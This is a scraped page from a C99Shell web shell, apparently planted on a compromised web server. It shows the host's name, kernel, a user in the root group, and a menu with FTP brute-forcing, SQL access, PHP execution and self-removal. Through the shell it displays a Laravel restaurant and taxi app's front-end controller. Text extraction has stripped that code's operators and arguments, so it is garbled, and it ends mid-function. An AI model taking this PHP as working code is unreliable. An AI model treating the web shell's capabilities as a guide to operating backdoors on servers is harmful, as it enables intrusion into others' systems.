!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FrontEndController.php (48.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Banners;
use 
App\City;
use 
App\Items;
use 
App\Pages;
use 
App\Plans;
use 
App\Restorant;
use 
App\Categories;
use 
App\Settings;
use 
App\Tables;
use 
App\User;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Collection;
use 
Illuminate\Support\Facades\App;
use 
Illuminate\Support\Facades\Cookie;
use 
Illuminate\Support\Facades\Route;
use 
Illuminate\Support\Facades\Session;
use 
Illuminate\Support\Facades\URL;
use 
Spatie\Geocoder\Exceptions\CouldNotGeocode;
use 
Spatie\Geocoder\Geocoder;
use 
App\Services\ConfChanger;
use 
App\Order;
use 
App\Models\Features;
use 
App\Models\Testimonials;
use 
App\Models\Process;
use 
Akaunting\Module\Facade as Module;
use 
App\Models\Allergens;
use 
App\Models\Config;
use 
DateTime;
use 
Spatie\OpeningHours\Exceptions\MaximumLimitExceeded;
use 
Akaunting\Money\Money;
use 
Akaunting\Money\Currency;
use 
App\Events\NewClient;
use 
Illuminate\Support\Facades\Auth;

class 
FrontEndController extends Controller
{
    
/**
     * Gets subdomain.
     */
    
public function getSubDomain()
    {
        
$subdomain substr_count(str_replace('www.'''$_SERVER['HTTP_HOST']), '.') > substr(str_replace('www.'''$_SERVER['HTTP_HOST']), 0strpos(str_replace('www.'''$_SERVER['HTTP_HOST']), '.')) : '';
        if (
$subdomain == '' in_array($subdomainconfig('app.ignore_subdomains'))) {
            return 
false;
        }

        return 
$subdomain;
    }

    private function 
customDomainMode(){
        
//1 - Make sure the module is installed
        
if(!in_array("domain"config('global.modules',[]))){
            return 
"";
        }

        
//2 - Extract the domain
        
$domain request()->getHost();


        
//3 - Make sure, this is no the project domain itself,
        
if (strposconfig('app.url'),$domain) !== false) {
            return 
"";
        }

        
//4 - The extracted domain is in the list of custom values
        
$theConfig=Config::where('value','like',"%".$domain."%")->first();
        if(
$theConfig){
            
//5 - Return the company subdomain if company is active
            
$vendor_id=$theConfig->model_id;

            
$vendor=Restorant::where('id',$vendor_id)->first();
            if(
$vendor){
                return 
$vendor->subdomain;
            }else{
                return 
"";
            }

        }else{
            
//By default return no domain
            
return "";
        }




    }

    
/**
     * Returns restaurants based on the q parameter.
     * @param $restaurantIDS - the list of the restaurants to take into account
     * @return Restorant[] restaurants
     */
    
private function filterRestaurantsOnQuery($restaurantIDS)
    {
        
//1. Find all items
        
$items Items::where(['available' => 1])->where(function ($q) {
            
$stripedQuery '%'.strip_tags(\Request::input('q')).'%';
            
$q->where('name''like'$stripedQuery)->orWhere('description''like'$stripedQuery);
        })->
with('category.restorant')->get();

        
//Find how many time happens on item level
        
$restorants = [];
        foreach (
$items as $item) {
            if (isset(
$item->category)) {

                
//Check if this restaurant is part of the restaurant list
                
if (in_array($item->category->restorant_id$restaurantIDS)) {
                    if (isset(
$restorants[$item->category->restorant_id])) {
                        
//Enlarge
                        
$restorants[$item->category->restorant_id]->items_count++;
                    } else {
                        
//Add
                        
$restorants[$item->category->restorant_id] = $item->category->restorant;
                        
$restorants[$item->category->restorant_id]->items_count 1;
                    }
                }
            }
        }

        
//Find how many time happens on restaurant level
        
$restorantsQ Restorant::where(['active' => 1])->where(function ($q) {
            
$stripedQuery '%'.strip_tags(\Request::input('q')).'%';
            
$q->where('name''like'$stripedQuery)->orWhere('description''like'$stripedQuery);
        });
        
//Calculate the values
        
foreach ($restorantsQ->get() as $restorant) {
            if (
in_array($restorant->id$restaurantIDS)) {
                if (isset(
$results[$restorant->id])) {
                    
//Enlarge - more value
                    
$restorants[$restorant->id]->items_count += 5;
                } else {
                    
//Add
                    
$restorants[$restorant->id] = $restorant;
                    
$restorants[$restorant->id]->items_count 5;
                }
            }
        }

        
//Now sort the restaurant based on how many times occures the search string
        
usort($restorants, function ($a$b) {
            return 
strcmp($a->items_count$b->items_count);
        });

        return 
$restorants;
    }

    public function 
index()
    {
        
$hasQuery \Request::has('q') && strlen(\Request::input('q')) > 1;
        
$hasLocation \Request::has('location') && strlen(\Request::input('location')) > 1;

        
//0. Check if it has DB access - otherwise go to install
        
try {
            
\DB::connection()->getPdo();
        } catch (
\Exception $e) {
            return 
redirect()->route('LaravelInstaller::welcome');
        }

        
//SITE SWITCHER

        //1. Single mode
        
if (config('settings.single_mode') && config('settings.single_mode_id')) {
            return 
$this->singleMode();
        }

        
//2. Subdomain mode
        
if ($this->getSubDomain()) {
            return 
$this->subdomainMode();
        }

        
//2a. Custom domain mode
        
$customDomain=$this->customDomainMode();
        if(
$customDomain!="") {
            return 
$this->restorant($customDomain);
        }

        
//3. QR Mode ( WhatsApp  or POS ) - here we have landing switch
        
if (config('app.isqrsaas')) {
            if(
config('settings.landing_to_use')!="system"){
                if(
config('settings.landing_to_use')=="whatsapp"){
                    return 
$this->whatsappMode();
                }else if(
config('settings.landing_to_use')=="pos"){
                    return 
$this->posMode();
                }else {
                    return 
$this->qrsaasMode();
                }
            }
            if(
config('settings.is_whatsapp_ordering_mode')){
                
//WhatsApp Mode
                
return $this->whatsappMode();
            }else if(
config('settings.is_pos_cloud_mode')){
                
//POS Cloud Mode
                
return $this->posMode();
            }else if(
config('settings.is_agris_mode')){
                
//Agris Mode
                
return $this->agrisMode();
            }else if(
config('app.issd')){
                
//Social Drive Mode
                
return $this->taxiMode();
            }else if(
config('app.isloyalty')){
                
//Loyalty Program Mode
                
return $this->loyaltyMode();
            }else{
                
//Default QR
                
return $this->qrsaasMode();
            }

        }

        if(
config('app.isdrive')){
            return 
$this->driverMode();
        }

        
//Multy City mode, and we don't have location atm
        
if (config('settings.multi_city') && ! ($hasLocation || $hasQuery)) {
            return 
$this->multyCityMode();
        }

        
//ELSE - Query and Location mode //Default
        
return $this->showStores(null);
    }

    
/**
     * 1. Single mode, only one restorant.
     */
    
public function singleMode()
    {
        
$restorant Restorant::findOrFail(config('settings.single_mode_id'));

        return 
$this->restorant($restorant->subdomain);
    }

    
/**
     * 2. Subdomain mode - directly show store.
     */
    
public function subdomainMode()
    {
        
$subDomain $this->getSubDomain();
        if (
$subDomain) {
            
$restorant Restorant::whereRaw('REPLACE(subdomain, "-", "") = ?', [str_replace("-","",$subDomain)])->get();
            if (
count($restorant) != 1) {
                
//When Subdomain mode is disabled, show the error
                
if(!config('settings.wildcard_domain_ready')){
                    return 
view('restorants.alertdomain', ['subdomain' =>$subDomain]);
                }else{
                    
abort(404);
                }

            }

            return 
$this->restorant($subDomain);
        }
    }




    
/**
     * 3. QR Mode.
     */
    
public function qrsaasMode()
    {
        if (
config('settings.disable_landing')) {
            
//With disabled landing
            
return redirect()->route('login');
        } else {
            
//Normal, with landing
            
$plans config('settings.forceUserToPay',false)?Plans::where('id','!=',intval(config('settings.free_pricing_id')))->get()->toArray():Plans::get()->toArray();


            
$colCounter = [412643444444444444];

            
$availableLanguagesENV config('settings.front_languages');
            
$exploded explode(','$availableLanguagesENV);
            
$availableLanguages = [];
            for (
$i 0$i count($exploded); $i += 2) {
                
$availableLanguages[$exploded[$i]] = $exploded[$i 1];
            }

            
$locale Cookie::get('lang') ? Cookie::get('lang') : config('settings.app_locale');
            
$route Route::current();
            
$name Route::currentRouteName();
            
$query 'lang.';
            if (
substr($name0strlen($query)) === $query) {
                
//this is language route
                
$exploded explode('.'$name);
                
$lang strtoupper($exploded[1]);
                
$locale $lang;
            }
            
App::setLocale(strtolower($locale));
            
session(['applocale_change' => strtolower($locale)]);

            
//Product features list
            
$features = [];
            
$images = [
                
'',
                
asset('impactfront').'/img/menubuilder.jpg',
                
asset('impactfront').'/img/qr_image_builder.jpg',
                
asset('impactfront').'/img/mobile_pwa.jpg',
                
asset('impactfront').'/img/localorders.jpg',
                
asset('impactfront').'/img/payments.jpg',
                
asset('impactfront').'/img/customerlog.jpg',
            ];

            for (
$i 1$i 7$i++) {
                
array_push($features, [
                    
'title' => ['key' => 'product'.$i.'_title''value' => __('qrlanding.product'.$i.'_title')],
                    
'subtitle' => ['key' => 'product'.$i.'_subtitle''value' => __('qrlanding.product'.$i.'_subtitle')],
                    
'features'=>[
                        [
'key' => 'product'.$i.'_feature1''value' => __('qrlanding.product'.$i.'_feature1')],
                        [
'key' => 'product'.$i.'_feature2''value' => __('qrlanding.product'.$i.'_feature2')],
                        [
'key' => 'product'.$i.'_feature3''value' => __('qrlanding.product'.$i.'_feature3')],
                       ],
                    
'button_name'=>__('qrlanding.product'.$i.'_button'),
                    
'image'=>$images[$i],
                ]);
            }

            
$featured_vendors=Restorant::where('active',1)->where('is_featured',1)->get()->shuffle();


            
$response = new \Illuminate\Http\Response(view('qrsaas.'.config('settings.qr_landing'), [
                
'col'=>$colCounter[count($plans)],
                
'plans'=>$plans,
                
'features'=>$features,
                
'availableLanguages'=>$availableLanguages,
                
'locale'=>$locale,
                
'pages'=>Pages::where('showAsLink'1)->get(),
                
'featured_vendors'=>$featured_vendors
            
]));

            
$response->withCookie(cookie('lang'$locale120));
            
App::setLocale(strtolower($locale));

            return 
$response;
        }
    }

    
/**
     * 4. Multy city mode.
     */
    
public function multyCityMode()
    {

        
//Default headers
        
$settings Settings::findOrFail(1)->first();
        
config(['global.header_title' => $settings->header_title]);
        
config(['global.header_subtitle' => $settings->header_subtitle]);

        
//Set the cookie of the last entered address
        
$lastaddress Cookie::get('lastaddress');

        
$langs=$this->handleLangs();
        
$response = new \Illuminate\Http\Response(view('welcome', [
            
'sections' =>[['super_title'=>__('Cities'), 'title'=>__('Find us in these cities and many more!'), 'cities'=>City::where('id''>'0)->get()]],
            
'lastaddress'=>$lastaddress,
            
'availableLanguages'=>$langs[0],
            
'locale'=>$langs[1]
        ]));
        if (
\Request::has('location') && strlen(\Request::input('location')) > 1) {
            
$response->withCookie(cookie('lastaddress'\Request::input('location'), 120));
        }
        
$response->withCookie(cookie('lang'$langs[1], 120));


        return 
$response;
    }

     
/**
     * 5. WhatsApp Mode.
     */
    
public function whatsappMode()
    {
        if (
config('settings.disable_landing')) {
            
//With disabled landing
            
return redirect()->route('login');
        } else {
            
//Normal, with landing
            
$plans config('settings.forceUserToPay',false)?Plans::where('id','!=',intval(config('settings.free_pricing_id')))->get()->toArray():Plans::get()->toArray();
            
$colCounter = [126434444444444444];

            
$availableLanguagesENV config('settings.front_languages');
            
$exploded explode(','$availableLanguagesENV);
            
$availableLanguages = [];
            for (
$i 0$i count($exploded); $i += 2) {
                
$availableLanguages[$exploded[$i]] = $exploded[$i 1];
            }

            
$locale Cookie::get('lang') ? Cookie::get('lang') : config('settings.app_locale');
            
$route Route::current();
            
$name Route::currentRouteName();
            
$query 'lang.';
            if (
substr($name0strlen($query)) === $query) {
                
//this is language route
                
$exploded explode('.'$name);
                
$lang strtoupper($exploded[1]);
                
$locale $lang;
            }
            
App::setLocale(strtolower($locale));
            
session(['applocale_change' => strtolower($locale)]);

            
//Landing page content
            
$features Features::where('post_type''feature')->get();
            
$testimonials Testimonials::where('post_type''testimonial')->get();
            
$processes Process::where('post_type''process')->get();

            
$featured_vendors=Restorant::where('active',1)->where('is_featured',1)->get()->shuffle();
            
$demoLink="#";
            
$demoVendor=Restorant::where('subdomain',config('settings.demo_restaurant_slug'))->first();
            if(
$demoVendor){
                
$demoLink=$demoVendor->getLinkAttribute();
            }

            
$response = new \Illuminate\Http\Response(view('social.home', [
                
'col' => count($plans)>0?$colCounter[count($plans)-1]:12,
                
'plans' => $plans,
                
'availableLanguages' => $availableLanguages,
                
'demoLink'=>$demoLink,
                
'locale' => $locale,
                
'pages' => Pages::where('showAsLink'1)->get(),
                
'features' => $features,
                
'testimonials' => $testimonials,
                
'processes' => $processes,
                
'faq' => Process::where('post_type''faq')->get(),
                
'featured_vendors'=>$featured_vendors
            
]));

            
$response->withCookie(cookie('lang'$locale120));
            
App::setLocale(strtolower($locale));

            return 
$response;
        }
    }

    
/**
     * 5. POS Mode.
     */
    
public function posMode(){
        if (
config('settings.disable_landing')) {
            
//With disabled landing
            
return redirect()->route('login');
        } else {
            
//Normal, with landing
            
$plans config('settings.forceUserToPay',false)?Plans::where('id','!=',intval(config('settings.free_pricing_id')))->get()->toArray():Plans::get()->toArray();
            
$colCounter = [126434444444444444];

            
$availableLanguagesENV config('settings.front_languages');
            
$exploded explode(','$availableLanguagesENV);
            
$availableLanguages = [];
            for (
$i 0$i count($exploded); $i += 2) {
                
$availableLanguages[$exploded[$i]] = $exploded[$i 1];
            }

            
$locale Cookie::get('lang') ? Cookie::get('lang') : config('settings.app_locale');
            
$route Route::current();
            
$name Route::currentRouteName();
            
$query 'lang.';
            if (
substr($name0strlen($query)) === $query) {
                
//this is language route
                
$exploded explode('.'$name);
                
$lang strtoupper($exploded[1]);
                
$locale $lang;
            }
            
App::setLocale(strtolower($locale));
            
session(['applocale_change' => strtolower($locale)]);

            
//Landing page content
            
$features Features::where('post_type''feature')->get();
            
$testimonials Testimonials::where('post_type''testimonial')->get();
            
$processes Process::where('post_type''process')->get();

            
$response = new \Illuminate\Http\Response(view('poslanding.home', [
                
'col' => $colCounter[count($plans)-1],
                
'plans' => $plans,
                
'availableLanguages' => $availableLanguages,
                
'locale' => $locale,
                
'pages' => Pages::where('showAsLink'1)->get(),
                
'features' => $features,
                
'testimonials' => $testimonials,
                
'processes' => $processes
            
]));

            
$response->withCookie(cookie('lang'$locale120));
            
App::setLocale(strtolower($locale));

            return 
$response;
        }
    }

     
/**
     * 6. Agris Mode.
     */
    
public function agrisMode(){
        if (
config('settings.disable_landing')) {
            
//With disabled landing
            
return redirect()->route('login');
        } else {
            
//Normal, with landing
            
$plans config('settings.forceUserToPay',false)?Plans::where('id','!=',intval(config('settings.free_pricing_id')))->get()->toArray():Plans::get()->toArray();
            
$colCounter = [126434444444444444];

            
$availableLanguagesENV config('settings.front_languages');
            
$exploded explode(','$availableLanguagesENV);
            
$availableLanguages = [];
            for (
$i 0$i count($exploded); $i += 2) {
                
$availableLanguages[$exploded[$i]] = $exploded[$i 1];
            }

            
$locale Cookie::get('lang') ? Cookie::get('lang') : config('settings.app_locale');
            
$route Route::current();
            
$name Route::currentRouteName();
            
$query 'lang.';
            if (
substr($name0strlen($query)) === $query) {
                
//this is language route
                
$exploded explode('.'$name);
                
$lang strtoupper($exploded[1]);
                
$locale $lang;
            }
            
App::setLocale(strtolower($locale));
            
session(['applocale_change' => strtolower($locale)]);

            
//Landing page content
            
$features Features::where('post_type''feature')->get();
            
$testimonials Testimonials::where('post_type''testimonial')->get();
            
$processes Process::where('post_type''process')->get();

            
$response = new \Illuminate\Http\Response(view('agrislanding.home', [
                
'col' => count($plans)>0?4:$colCounter[count($plans)-1],
                
'plans' => $plans,
                
'availableLanguages' => $availableLanguages,
                
'locale' => $locale,
                
'pages' => Pages::where('showAsLink'1)->get(),
                
'featured_vendors'=>Restorant::where('active',1)->where('is_featured',1)->get()->shuffle(),
                
'features' => $features,
                
'faqs' =>  Process::where('post_type''faq')->get(),
                
'testimonials' => $testimonials,
                
'processes' => $processes
            
]));

            
$response->withCookie(cookie('lang'$locale120));
            
App::setLocale(strtolower($locale));

            return 
$response;
        }
    }

    
/**
     * 7. Taxi Mode.
     */
    
public function taxiMode(){
        if (
config('settings.disable_landing')) {
            
//With disabled landing
            
return redirect()->route('login');
        } else {
            
//Normal, with landing
            
$plans config('settings.forceUserToPay',false)?Plans::where('id','!=',intval(config('settings.free_pricing_id')))->get()->toArray():Plans::get()->toArray();
            
$colCounter = [126434444444444444];

            
$availableLanguagesENV config('settings.front_languages');
            
$exploded explode(','$availableLanguagesENV);
            
$availableLanguages = [];
            for (
$i 0$i count($exploded); $i += 2) {
                
$availableLanguages[$exploded[$i]] = $exploded[$i 1];
            }

            
$locale Cookie::get('lang') ? Cookie::get('lang') : config('settings.app_locale');
            
$route Route::current();
            
$name Route::currentRouteName();
            
$query 'lang.';
            if (
substr($name0strlen($query)) === $query) {
                
//this is language route
                
$exploded explode('.'$name);
                
$lang strtoupper($exploded[1]);
                
$locale $lang;
            }
            
App::setLocale(strtolower($locale));
            
session(['applocale_change' => strtolower($locale)]);

            
//Landing page content
            
$features Features::where('post_type''feature')->get();
            
$testimonials Testimonials::where('post_type''testimonial')->get();
            
$processes Process::where('post_type''process')->get();
            
$blog_posts Process::where('post_type''blog')->get();

            
$response = new \Illuminate\Http\Response(view('taxilanding.home', [
                
'col' => $colCounter[count($plans)-1],
                
'plans' => $plans,
                
'availableLanguages' => $availableLanguages,
                
'locale' => $locale,
                
'pages' => Pages::where('showAsLink'1)->get(),
                
'featured_vendors'=>Restorant::where('active',1)->where('is_featured',1)->get()->shuffle(),
                
'features' => $features,
                
'faqs' =>  Process::where('post_type''faq')->get(),
                
'testimonials' => $testimonials,
                
'processes' => $processes,
                
'blog_posts' => $blog_posts
            
]));

            
$response->withCookie(cookie('lang'$locale120));
            
App::setLocale(strtolower($locale));

            return 
$response;
        }
    }

    
/**
     * 8. Drive Mode
     */
    
public function driverMode(){
        if (
config('settings.disable_landing')) {
            
//With disabled landing
            
return redirect()->route('login');
        } else {
            
//Normal, with landing
            //Normal, with landing
            
$plans config('settings.forceUserToPay',false)?Plans::where('id','!=',intval(config('settings.free_pricing_id')))->get()->toArray():Plans::get()->toArray();
            
$colCounter = [126434444444444444];

            
$availableLanguagesENV config('settings.front_languages');
            
$exploded explode(','$availableLanguagesENV);
            
$availableLanguages = [];
            for (
$i 0$i count($exploded); $i += 2) {
                
$availableLanguages[$exploded[$i]] = $exploded[$i 1];
            }

            
$locale Cookie::get('lang') ? Cookie::get('lang') : config('settings.app_locale');
            
$route Route::current();
            
$name Route::currentRouteName();
            
$query 'lang.';
            if (
substr($name0strlen($query)) === $query) {
                
//this is language route
                
$exploded explode('.'$name);
                
$lang strtoupper($exploded[1]);
                
$locale $lang;
            }
            
App::setLocale(strtolower($locale));
            
session(['applocale_change' => strtolower($locale)]);

            
//Landing page content
            
$features Features::where('post_type''feature')->get();
            
$testimonials Testimonials::where('post_type''testimonial')->get();
            
$processes Process::where('post_type''process')->get();
            
$blog_posts Process::where('post_type''blog')->get();

            
$response = new \Illuminate\Http\Response(view('drivelanding.home', [
                
'col' => $colCounter[count($plans)-1],
                
'plans' => $plans,
                
'availableLanguages' => $availableLanguages,
                
'locale' => $locale,
                
'pages' => Pages::where('showAsLink'1)->get(),
                
'featured_vendors'=>Restorant::where('active',1)->where('is_featured',1)->get()->shuffle(),
                
'features' => $features,
                
'faqs' =>  Process::where('post_type''faq')->get(),
                
'testimonials' => $testimonials,
                
'processes' => $processes,
                
'blog_posts' => $blog_posts
            
]));

            
$response->withCookie(cookie('lang'$locale120));
            
App::setLocale(strtolower($locale));

            return 
$response;
        }

    }

    
/**
     * 9. Loyalty mode
     *
     */
    
public function loyaltyMode(){
        if (
config('settings.disable_landing')) {
            
//With disabled landing
            
return redirect()->route('login');
        } else {


            
//Normal, with landing
            
$plans config('settings.forceUserToPay',false)?Plans::where('id','!=',intval(config('settings.free_pricing_id')))->get()->toArray():Plans::get()->toArray();
            
$colCounter = [126434444444444444];



            foreach(
$plans as $key => $plan){
                
$plans[$key]['price_form'] =rtrim(money($plan['price'],config('settings.cashier_currency'),config('settings.do_convertion'))->format(), ".00");
            }


            
$availableLanguagesENV config('settings.front_languages');
            
$exploded explode(','$availableLanguagesENV);
            
$availableLanguages = [];
            for (
$i 0$i count($exploded); $i += 2) {
                
$availableLanguages[$exploded[$i]] = $exploded[$i 1];
            }

            
$locale Cookie::get('lang') ? Cookie::get('lang') : config('settings.app_locale');
            
$route Route::current();
            
$name Route::currentRouteName();
            
$query 'lang.';
            if (
substr($name0strlen($query)) === $query) {
                
//this is language route
                
$exploded explode('.'$name);
                
$lang strtoupper($exploded[1]);
                
$locale $lang;
            }
            
App::setLocale(strtolower($locale));
            
session(['applocale_change' => strtolower($locale)]);

            
//Landing page content
            
$features Features::where('post_type''feature')->get();
            
$testimonials Testimonials::where('post_type''testimonial')->get();
            
$processes Process::where('post_type''process')->get();
            
$blog_posts Process::where('post_type''blog')->get();


            
$response = new \Illuminate\Http\Response(view('cards::landing', [
                
'pages'=>Pages::where('showAsLink',1)->get(),
                
'isExtended' => true,//md5(config('settings.extended_license_download_code',""))=="d0398556dbecac06370bdc8baec559a9" || config('settings.is_demo',false),
                
'col' => count($plans)>0?$colCounter[count($plans)-1]:12,
                
'plans' => $plans,
                
'availableLanguages' => $availableLanguages,
                
'locale' => $locale,
                
'pages' => Pages::where('showAsLink'1)->get(),
                
'showcase' =>  Process::where('post_type''showcase')->get(),
                
'featured_vendors'=>Restorant::where('active',1)->where('is_featured',1)->get()->shuffle(),
                
'features' => $features,
                
'faqs' =>  Process::where('post_type''faq')->get(),
                
'testimonials' => $testimonials,
                
'processes' => $processes,
                
'blog_posts' => $blog_posts
            
]));

            
$response->withCookie(cookie('lang'$locale120));
            
App::setLocale(strtolower($locale));

            return 
$response;
        }
    }


    
/**
     * Show stores.
     * @param {String} city_alias - city alias to show results for - can be null
     */
    
public function showStores($city_alias)
    {
        
//Variants
        /**
         * 1. Nothing no city, no q, no location
         * 2. Just city
         * 3. City and Query
         * 4. Just location
         * 5. Location and query
         * 6. Just Qury.
         */

        //DATA
        
$hasQuery \Request::has('q') && strlen(\Request::input('q')) > 1;
        
$hasLocation \Request::has('location') && strlen(\Request::input('location')) > 1;
        
$expedition \Request::input('expedition') && strlen(\Request::input('expedition')) > && \Request::input('expedition') == 'delivery' 'can_deliver' 'can_pickup';
        
$hasCity $city_alias != null;

        
$sections = [];
        
$aditionInTitle $hasQuery ' '.__('where you can find').' '.\Request::input('q') : '';

        
//Default headers
        
$settings Settings::findOrFail(1)->first();
        
config(['global.header_title' => $settings->header_title]);
        
config(['global.header_subtitle' => $settings->header_subtitle]);

        if (
$hasCity) {
            
//CITY BASED SEARCH CASE 4 and 5

            //Find the city
            
$city City::where('alias'$city_alias)->first();

            
config(['global.header_title' => $city->header_title]);
            
config(['global.header_subtitle' => $city->header_subtitle]);

            if (! 
$city) {
                
abort(404);
            }
            
$theRestorants Restorant::where(['active'=>1'city_id'=>$city->id]);

            if (
$hasQuery) {
                
//With Query
                
$restorants $this->filterRestaurantsOnQuery($theRestorants->pluck('id')->toArray());
            } else {
                
//No query
                
$restorants $theRestorants->get()->shuffle();
            }
            
array_push($sections, ['title'=>__('Restaurants in').' '.$city->name.$aditionInTitle'restorants' =>$restorants]);
        } elseif (
$hasLocation) {
            
//LOCATION BASED SEARCH CASE 4 and 5
            //First, find the provided location, convert it to lat/lng
            
$client = new \GuzzleHttp\Client();
            
$geocoder = new Geocoder($client);
            
$geocoder->setApiKey(config('geocoder.key'));

            try {
                
$geoResults $geocoder->getCoordinatesForAddress(\Request::input('location'));
            } catch (
CouldNotGeocode $e) {
                
report($e);

                return 
view('restorants.error_location', ['message'=>'The provided api key GOOGLE_MAPS_API_KEY has restrictions and we can not geocode the address. Please look into the documentation of this product to see what APIs are required to be enabled.']);
            }

            if (
$geoResults['formatted_address'] == 'result_not_found') {
                
//No results found
                
return view('restorants.error_location', ['message'=>'You have provided address that we can not find']);
            } else {
                
//Ok, we have lat and lng
                
$restorantsQuery Restorant::where(['active' => 1$expedition => 1]);

                
$restorantsWithGeoIDS $this->scopeIsWithinMaxDistance($restorantsQuery$geoResults['lat'], $geoResults['lng'], config('settings.location_search_radius'))->pluck('id');

                
$restorants Restorant::whereIn('id'$restorantsWithGeoIDS)->get();

                
//Furthure, check restaurant's delivery area
                
$allRestorantDelivering = [];
                
$nearBytDelivering = [];
                
$featuredDelivering = [];

                
$allRestorantDeliveringIDS = [];
                
$nearBytDeliveringIDS = [];
                
$featuredDeliveringIDS = [];

                
$hasRestorantsWithDelivery false;

                
$limitOfNearby config('settings.most_nearby_limit');

                
$point json_decode('{"lat": '.$geoResults['lat'].', "lng":'.$geoResults['lng'].'}');
                foreach (
$restorants as $key => $restorant) {
                    
//Check if restorant delivery area is within
                    
if (! is_array($restorant->radius)) {
                        continue;
                    }
                    
$polygon json_decode(json_encode($restorant->radius));
                    
$numItems count($restorant->radius);

                    
//If disabled deliver - no delivery area

                    
if ($restorant->can_deliver == || (isset($polygon[0]) && $this->withinArea($point$polygon$numItems))) {
                        
$hasRestorantsWithDelivery true;

                        
//add in allRestorantDelivering
                        
array_push($allRestorantDelivering$restorant);
                        
array_push($allRestorantDeliveringIDS$restorant->id);

                        if (
count($nearBytDelivering) < $limitOfNearby) {
                            
array_push($nearBytDelivering$restorant);
                            
array_push($nearBytDeliveringIDS$restorant->id);
                        }

                        
//Featured
                        
if ($restorant->is_featured.'' == '1') {
                            
array_push($featuredDelivering$restorant);
                            
array_push($featuredDeliveringIDS$restorant->id);
                        }
                    }
                }

                if (
$hasQuery) {
                    
//CASE 5
                    //we have some query
                    
$allRestorantDeliveringCollection collect($this->filterRestaurantsOnQuery($allRestorantDeliveringIDS));
                    
$nearBytDeliveringCollection collect($this->filterRestaurantsOnQuery($nearBytDeliveringIDS));
                    
$featuredDeliveringCollection collect($this->filterRestaurantsOnQuery($featuredDeliveringIDS));
                } else {
                    
//CASE 4
                    //No additinal qury
                    
$allRestorantDeliveringCollection collect($allRestorantDelivering)->shuffle();
                    
$nearBytDeliveringCollection collect($nearBytDelivering)->shuffle();
                    
$featuredDeliveringCollection collect($featuredDelivering)->shuffle();
                }

                if (
$featuredDeliveringCollection->count() > 0) {
                    
array_push($sections, ['title'=>__('Featured restaurants').$aditionInTitle'restorants' =>$featuredDeliveringCollection]);
                }
                if (
$nearBytDeliveringCollection->count() > 0) {
                    
array_push($sections, ['title'=>__('Popular restaurants near you').$aditionInTitle'restorants' =>$nearBytDeliveringCollection]);
                }

                
$allReastaurantsTitle __('All restaurants delivering to your address');

                if (! 
$hasRestorantsWithDelivery) {
                    
$allReastaurantsTitle __('All restaurants');
                }

                
array_push($sections, ['title'=>$allReastaurantsTitle.$aditionInTitle'restorants' => $allRestorantDeliveringCollection]);
            }
        } elseif (
$hasQuery) {
            
//CASE 6
            //IS IS Query String Search
            
$restorants $this->filterRestaurantsOnQuery(Restorant::where(['active' => 1$expedition => 1])->pluck('id')->toArray());
            
array_push($sections, ['title'=>__('Restaurants').$aditionInTitle'restorants' =>$restorants]);
        } else {
            
//CASE 1 - nothing at all
            //No query at all
            
array_push($sections, ['title'=>__('Popular restaurants'), 'restorants' =>Restorant::where('active'1)->get()->shuffle()]);
        }

        
$banners_data Banners::all();
        
$banners = [];
        foreach (
$banners_data as $key => $banner) {
            if ((new 
Carbon($banner->active_to))->gt(new Carbon($banner->active_from)) && Carbon::now()->between(new Carbon($banner->active_from), new Carbon($banner->active_to)) || (new Carbon($banner->active_from))->eq(new Carbon($banner->active_to)) && (new Carbon(Carbon::now()->toDateString()))->eq(new Carbon($banner->active_from)) && (new Carbon(Carbon::now()->toDateString()))->eq(new Carbon($banner->active_to))) {
                
array_push($banners$banner);
            }
        }




        
$langs=$this->handleLangs();

        
//Set the cookie of the last entered address
        
$lastaddress Cookie::get('lastaddress');
        
$response = new \Illuminate\Http\Response(view('welcome', [
            
'sections' => $sections,
            
'lastaddress'=> $lastaddress,
            
'banners' => $banners,
            
'availableLanguages'=>$langs[0],
            
'locale'=>$langs[1]
        ]));
        if (
\Request::has('location') && strlen(\Request::input('location')) > 1) {
            
$response->withCookie(cookie('lastaddress'\Request::input('location'), 120));
        }
        
$response->withCookie(cookie('lang'$langs[1], 120));

        return 
$response;
    }

    private function 
handleLangs(){

        
$availableLanguagesENV config('settings.front_languages');
        
$exploded explode(','$availableLanguagesENV);
        
$availableLanguages = [];
        for (
$i 0$i count($exploded); $i += 2) {
            
$availableLanguages[$exploded[$i]] = $exploded[$i 1];
        }

        
$locale Cookie::get('lang') ? Cookie::get('lang') : config('settings.app_locale');
        
$route Route::current();
        
$name Route::currentRouteName();
        
$query 'lang.';
        if (
substr($name0strlen($query)) === $query) {
            
//this is language route
            
$exploded explode('.'$name);
            
$lang strtoupper($exploded[1]);
            
$locale $lang;


            if(
$locale!="android-chrome-256x256.png"){
                
App::setLocale(strtolower($locale));
                
session(['applocale_change' => strtolower($locale)]);
            }
        }

        return [
$availableLanguages,$locale];
    }

    private function 
withinArea($point$polygon$n)
    {
        if (
$polygon[0] != $polygon[$n 1]) {
            
$polygon[$n] = $polygon[0];
        }
        
$j 0;
        
$oddNodes false;
        
$x $point->lng;
        
$y $point->lat;
        for (
$i 0$i $n$i++) {
            
$j++;
            if (
$j == $n) {
                
$j 0;
            }
            if (((
$polygon[$i]->lat $y) && ($polygon[$j]->lat >= $y)) || (($polygon[$j]->lat $y) && ($polygon[$i]->lat >= $y))) {
                if (
$polygon[$i]->lng + ($y $polygon[$i]->lat) / ($polygon[$j]->lat $polygon[$i]->lat) * ($polygon[$j]->lng $polygon[$i]->lng) < $x) {
                    
$oddNodes = ! $oddNodes;
                }
            }
        }

        return 
$oddNodes;
    }

    public function 
onboarding(){
        
